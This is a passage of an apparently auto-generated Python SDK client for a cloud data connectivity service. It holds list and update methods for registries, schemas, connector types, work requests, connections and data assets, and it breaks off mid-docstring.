"list_registries" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "name", "limit", "page", "is_deep_lookup", "lifecycle_state", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "list_registries got unknown kwargs: {!r}".format(extra_kwargs)) if 'lifecycle_state' in kwargs: lifecycle_state_allowed_values = ["CREATING", "ACTIVE", "INACTIVE", "UPDATING", "DELETING", "DELETED", "FAILED"] if kwargs['lifecycle_state'] not in lifecycle_state_allowed_values: raise ValueError( "Invalid value for `lifecycle_state`, must be one of {0}".format(lifecycle_state_allowed_values) ) query_params = { "compartmentId": compartment_id, "name": kwargs.get("name", missing), "limit": kwargs.get("limit", missing), "page": kwargs.get("page", missing), "isDeepLookup": kwargs.get("is_deep_lookup", missing), "lifecycleState": kwargs.get("lifecycle_state", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, query_params=query_params, header_params=header_params, response_type="RegistrySummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, query_params=query_params, header_params=header_params, response_type="RegistrySummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def list_schemas(self, registry_id, connection_key, **kwargs): """ Retrieves a list of all the schemas that can be accessed using the specified connection. :param str registry_id: (required) The registry Ocid. :param str connection_key: (required) The connection key. :param str page: (optional) For list pagination. The value for this parameter is the `opc-next-page` or the `opc-prev-page` response header from the previous `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param int limit: (optional) Sets the maximum number of results per page, or items to return in a paginated `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param list[str] fields: (optional) Specifies the fields to get for an object. :param str sort_by: (optional) Specifies the field to sort by. Accepts only one field. By default, when you sort by time fields, results are shown in descending order. All other fields default to ascending order. Sorting related parameters are ignored when parameter `query` is present (search operation and sorting order is by relevance score in descending order). Allowed values are: "id", "timeCreated", "displayName" :param str sort_order: (optional) Specifies sort order to use, either `ASC` (ascending) or `DESC` (descending). Allowed values are: "ASC", "DESC" :param str schema_resource_key: (optional) Schema resource name used for retrieving schemas. :param str name: (optional) Used to filter by the name of the object. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param list[str] name_list: (optional) Used to filter by the name of the object. :param str endpoint_id: (optional) Endpoint Id used for getDataAssetFullDetails. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.SchemaSummaryCollection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/list_schemas.py.html>`__ to see an example of how to use list_schemas API. """ resource_path = "/registries/{registryId}/connections/{connectionKey}/schemas" method = "GET" operation_name = "list_schemas" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "page", "limit", "fields", "sort_by", "sort_order", "schema_resource_key", "name", "opc_request_id", "name_list", "endpoint_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "list_schemas got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "connectionKey": connection_key } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) if 'sort_by' in kwargs: sort_by_allowed_values = ["id", "timeCreated", "displayName"] if kwargs['sort_by'] not in sort_by_allowed_values: raise ValueError( "Invalid value for `sort_by`, must be one of {0}".format(sort_by_allowed_values) ) if 'sort_order' in kwargs: sort_order_allowed_values = ["ASC", "DESC"] if kwargs['sort_order'] not in sort_order_allowed_values: raise ValueError( "Invalid value for `sort_order`, must be one of {0}".format(sort_order_allowed_values) ) query_params = { "page": kwargs.get("page", missing), "limit": kwargs.get("limit", missing), "fields": self.base_client.generate_collection_format_param(kwargs.get("fields", missing), 'multi'), "sortBy": kwargs.get("sort_by", missing), "sortOrder": kwargs.get("sort_order", missing), "schemaResourceKey": kwargs.get("schema_resource_key", missing), "name": kwargs.get("name", missing), "nameList": self.base_client.generate_collection_format_param(kwargs.get("name_list", missing), 'multi'), "endpointId": kwargs.get("endpoint_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="SchemaSummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="SchemaSummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def list_types(self, registry_id, **kwargs): """ This endpoint retrieves list of all the supported connector types :param str registry_id: (required) The registry Ocid. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str page: (optional) For list pagination. The value for this parameter is the `opc-next-page` or the `opc-prev-page` response header from the previous `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param int limit: (optional) Sets the maximum number of results per page, or items to return in a paginated `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param str type: (optional) Type of the object to filter the results with. :param str sort_by: (optional) Specifies the field to sort by. Accepts only one field. By default, when you sort by time fields, results are shown in descending order. All other fields default to ascending order. Sorting related parameters are ignored when parameter `query` is present (search operation and sorting order is by relevance score in descending order). Allowed values are: "id", "timeCreated", "displayName" :param str sort_order: (optional) Specifies sort order to use, either `ASC` (ascending) or `DESC` (descending). Allowed values are: "ASC", "DESC" :param str name: (optional) Used to filter by the name of the object. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.TypesSummaryCollection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/list_types.py.html>`__ to see an example of how to use list_types API. """ resource_path = "/registries/{registryId}/types" method = "GET" operation_name = "list_types" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "page", "limit", "type", "sort_by", "sort_order", "name" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "list_types got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) if 'sort_by' in kwargs: sort_by_allowed_values = ["id", "timeCreated", "displayName"] if kwargs['sort_by'] not in sort_by_allowed_values: raise ValueError( "Invalid value for `sort_by`, must be one of {0}".format(sort_by_allowed_values) ) if 'sort_order' in kwargs: sort_order_allowed_values = ["ASC", "DESC"] if kwargs['sort_order'] not in sort_order_allowed_values: raise ValueError( "Invalid value for `sort_order`, must be one of {0}".format(sort_order_allowed_values) ) query_params = { "page": kwargs.get("page", missing), "limit": kwargs.get("limit", missing), "type": kwargs.get("type", missing), "sortBy": kwargs.get("sort_by", missing), "sortOrder": kwargs.get("sort_order", missing), "name": kwargs.get("name", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="TypesSummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="TypesSummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def list_work_request_errors(self, work_request_id, **kwargs): """ Return a (paginated) list of errors for a given work request. :param str work_request_id: (required) The ID of the asynchronous request. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str page: (optional) For list pagination. The value for this parameter is the `opc-next-page` or the `opc-prev-page` response header from the previous `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param int limit: (optional) Sets the maximum number of results per page, or items to return in a paginated `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.WorkRequestErrorCollection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/list_work_request_errors.py.html>`__ to see an example of how to use list_work_request_errors API. """ resource_path = "/workRequests/{workRequestId}/workRequestErrors" method = "GET" operation_name = "list_work_request_errors" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "page", "limit" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "list_work_request_errors got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "workRequestId": work_request_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "page": kwargs.get("page", missing), "limit": kwargs.get("limit", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="WorkRequestErrorCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="WorkRequestErrorCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def list_work_request_logs(self, work_request_id, **kwargs): """ Return a (paginated) list of logs for a given work request. :param str work_request_id: (required) The ID of the asynchronous request. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str page: (optional) For list pagination. The value for this parameter is the `opc-next-page` or the `opc-prev-page` response header from the previous `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param int limit: (optional) Sets the maximum number of results per page, or items to return in a paginated `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.WorkRequestLogCollection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/list_work_request_logs.py.html>`__ to see an example of how to use list_work_request_logs API. """ resource_path = "/workRequests/{workRequestId}/logs" method = "GET" operation_name = "list_work_request_logs" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "page", "limit" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "list_work_request_logs got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "workRequestId": work_request_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "page": kwargs.get("page", missing), "limit": kwargs.get("limit", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="WorkRequestLogCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="WorkRequestLogCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def list_work_requests(self, compartment_id, **kwargs): """ Lists the work requests in a compartment. :param str compartment_id: (required) The OCID of the compartment containing the resources you want to list. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str resource_id: (optional) DCMS registry or endpoint id :param str work_request_status: (optional) Work Request status. Allowed values are: "ACCEPTED", "IN_PROGRESS", "FAILED", "SUCCEEDED", "CANCELING", "CANCELED" :param str page: (optional) For list pagination. The value for this parameter is the `opc-next-page` or the `opc-prev-page` response header from the previous `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param int limit: (optional) Sets the maximum number of results per page, or items to return in a paginated `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.WorkRequestSummaryCollection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/list_work_requests.py.html>`__ to see an example of how to use list_work_requests API. """ resource_path = "/workRequests" method = "GET" operation_name = "list_work_requests" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "resource_id", "work_request_status", "page", "limit" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "list_work_requests got unknown kwargs: {!r}".format(extra_kwargs)) if 'work_request_status' in kwargs: work_request_status_allowed_values = ["ACCEPTED", "IN_PROGRESS", "FAILED", "SUCCEEDED", "CANCELING", "CANCELED"] if kwargs['work_request_status'] not in work_request_status_allowed_values: raise ValueError( "Invalid value for `work_request_status`, must be one of {0}".format(work_request_status_allowed_values) ) query_params = { "compartmentId": compartment_id, "resourceId": kwargs.get("resource_id", missing), "workRequestStatus": kwargs.get("work_request_status", missing), "page": kwargs.get("page", missing), "limit": kwargs.get("limit", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, query_params=query_params, header_params=header_params, response_type="WorkRequestSummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, query_params=query_params, header_params=header_params, response_type="WorkRequestSummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def update_connection(self, registry_id, connection_key, update_connection_details, **kwargs): """ Updates a connection under a data asset. :param str registry_id: (required) The registry Ocid. :param str connection_key: (required) The connection key. :param oci.data_connectivity.models.UpdateConnectionDetails update_connection_details: (required) The information needed to update a connection. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.Connection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/update_connection.py.html>`__ to see an example of how to use update_connection API. """ resource_path = "/registries/{registryId}/connections/{connectionKey}" method = "PUT" operation_name = "update_connection" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "if_match" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "update_connection got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "connectionKey": connection_key } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "if-match": kwargs.get("if_match", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=update_connection_details, response_type="Connection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=update_connection_details, response_type="Connection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def update_data_asset(self, registry_id, data_asset_key, update_data_asset_details, **kwargs): """ Updates a specific data asset with default connection. :param str registry_id: (required) The registry Ocid. :param str data_asset_key: (required) The data asset key. :param oci.data_connectivity.models.UpdateDataAssetDetails update_data_asset_details: (required) The information needed to update a data asset. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.DataAsset` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/update_data_asset.py.html>`__ to see an example of how to use update_data_asset API. """ resource_path = "/registries/{registryId}/dataAssets/{dataAssetKey}" method = "PUT" operation_name = "update_data_asset" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "if_match" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "update_data_asset got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "dataAssetKey": data_asset_key } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "if-match": kwargs.get("if_match", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=update_data_asset_details, response_type="DataAsset", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=update_data_asset_details, response_type="DataAsset", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def update_endpoint(self, endpoint_id, update_endpoint_details, **kwargs): """ Updates the Data Connectivity Management Endpoint :param str endpoint_id: (required) DCMS Endpoint id :param oci.data_connectivity.models.UpdateEndpointDetails update_endpoint_details: (required) The information to be updated. :param str registry_id: (optional) DCMS registry id :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.Endpoint` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/update_endpoint.py.html>`__ to see an example of how to use 